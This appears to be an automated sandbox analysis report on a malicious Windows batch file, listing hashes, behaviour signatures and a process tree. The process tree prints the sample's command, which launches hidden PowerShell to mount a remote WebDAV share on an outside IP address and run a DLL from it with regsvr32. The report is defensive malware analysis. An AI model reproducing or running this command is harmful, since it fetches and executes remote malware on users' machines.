Analysis

  • max time kernel
    101s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    19-07-2024 10:12

General

  • Target

    21629313822504324304.bat

  • Size

    12KB

  • MD5

    d59dea041a233af9dd0e5e1a342de342

  • SHA1

    006b17de21ac79466c983dd4a6240d599111fc36

  • SHA256

    2db3d2a220ae4f1321b1a3c3dc07f83b3600e8018da0cd746f54279ca3d07476

  • SHA512

    3cc5c0420dd776ee3473cedbc766a14fee057ccba413182c18b3e8e767d6c47bc8099a2b33aeabb737d45e1a34b926c7dd9252769a49a3332585841bb4d4f1e7

  • SSDEEP

    192:2ybcFwsPD5Rxozx3Pg9ypGKkOg8/KX7hTvY5ibmGWBneRiBTNdPG2:2ywwa5rozZPa264iFTFbVavVPv

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\21629313822504324304.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2592
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\17282824113999.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2848
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2932
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\17282824113999.dll
          3⤵
            PID:620

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2592-16-0x00000000021D0000-0x00000000022D0000-memory.dmp

        Filesize

        1024KB

      • memory/2848-21-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

        Filesize

        2.9MB

      • memory/2848-22-0x0000000002290000-0x0000000002298000-memory.dmp

        Filesize

        32KB